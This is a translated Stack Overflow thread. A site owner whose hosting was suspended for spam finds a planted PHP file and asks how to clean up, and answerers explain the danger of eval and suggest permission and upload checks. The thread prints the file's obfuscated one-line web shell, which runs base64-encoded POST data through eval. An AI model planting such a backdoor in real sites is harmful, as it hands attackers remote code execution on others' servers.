在我的Web服务器上发现恶意的PHP文件,需要帮助清理并防止再次发生。

8
我的托管提供者最近因为我的网站发送了大量的垃圾邮件而将其暂停。最开始,我和服务提供商认为这是由于几天前在服务器上发布的一份未加保护的电子邮件活动表单所导致的。我已从服务器中删除了包含该表单的页面,但服务器仍在发送垃圾邮件。
我在服务器根目录下的“css”文件夹中发现了一个名为7c32.php的php文件。我绝对没有制作过它。以下是该文件的代码:
<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>

在将其通过在线解码器运行后,它得出了以下结果:
if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));

我阅读了一些关于恶意php文件的内容,并发现eval(和base64_decode字符串是非常可疑的。我查看了服务器日志文件,发现有几个来自沙特阿拉伯IP地址的post查询与这个7c32.php文件有关。

我删除了这个php文件,更新了所有过时的wordpress主题和插件(以及平台本身),并将FTP服务器和Wordpress管理帐户的密码更改为更安全的密码。

还有其他什么我可以做以确保我的服务器安全吗?我即将在服务器上搜索这些base64和eval(字符串,但除此之外,我没有其他想法了。

这个php脚本似乎太简短了,无法造成任何损害,但是还有什么其他东西会发送所有那些垃圾邮件呢?

非常感谢任何帮助。


如果您删除了文件并更新了WP主题,我会说,没有太多要做,只需通过拒绝上传/权限来保护您的站点。 - samayo
如何摆脱类似PHP病毒文件的eval-base64_decode?(重复问题:https://dev59.com/zG025IYBdhLWcg3wkW8F) - kenorb
2个回答

2

eval()是一种非常危险的小型语言结构,因为它可以执行作为字符串传递给它的几乎任何PHP代码块,所以这段脚本可能正在发送邮件,尽管发送垃圾邮件实际上就像是对eval()潜在影响的轻微挑战。

如果您的页面有权限删除Web根目录中的每个文件,则eval()也可以通过通过POST向脚本发送正确命令来完成此操作。

如果您确实想确保是该代码段正在发送邮件,请将其放回到原位,但使其符合您的要求。停止使用eval(),改而将POST数据保存到数据库或文本文件中。这是您唯一能够确切了解该代码用途的方法。


请问一下,如何做到这一点?我完全没有PHP方面的经验,只是在学习中。找出是否有代码发送垃圾邮件将是很棒的事情。 - boguslavsky
尝试使用以下代码替换原有的代码:<?php if(isset($_POST["code"])){$log = fopen("malLog", "a");fwrite($log, base64_encode($_POST["code"]) . "\n");fclose($log);}?>。每次访问页面时,它将尝试打开(或创建)名为“malLog”的文件,并将先前的恶意代码尝试进行eval()的字符串写入其中。不能保证它能正常工作,我现在很忙,没有时间仔细测试它。 - Ken Herbert

1
这个 PHP 脚本似乎太短了,不会造成任何损害,但是还有什么可以发送所有垃圾邮件的东西呢?
你认为这段代码太短而无法造成危害吗?它是最糟糕的代码,其中包含 eval()
eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。因此,不建议使用它。如果您已经仔细验证过除使用该结构外没有其他选择,请特别注意在没有适当验证之前不要将任何用户提供的数据传递给它。
他们可以使用那个“太短”的代码来执行任何 PHP 代码。Eval 是恶魔。不要允许未经验证的文件上传权限。
但是还有什么可以发送出所有垃圾邮件呢?
同样的 eval 代码正在发送电子邮件。他们将电子邮件代码发布到其中,然后它会执行并发送电子邮件。

首先,将您的目录权限设置为只读,以防止上传。其次,请检查您的任何文件上传代码并/或在此处发布以讨论可能存在的缺陷。每当您从用户接收任何输入时,都必须尝试对其进行消毒处理,并不将其保存在服务器上。这个漏洞必须存在于您的文件上传表单中。 - Hanky Panky
好的,我进入了Filezilla,选择了根目录下的所有三个目录,并应用了以下权限(除读取外,取消了所有勾选)http://i.imgur.com/mklzSfQ.png请原谅我的无知,什么是文件上传代码?顺便说一句,谢谢你的所有帮助。 - boguslavsky
我的意思是,您在那里是否有任何HTML或PHP代码,允许用户上传任何文件?或者您安装了一些脚本等吗? - Hanky Panky
不,绝对不是。唯一的上传方式是通过FTP完成的。两个问题:我需要再次更改权限才能将新内容上传到服务器吗?我能否使只有我可以通过FTP上传内容? - boguslavsky
好的,那么你的FTP登录安全吗? - Hanky Panky
显示剩余3条评论

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接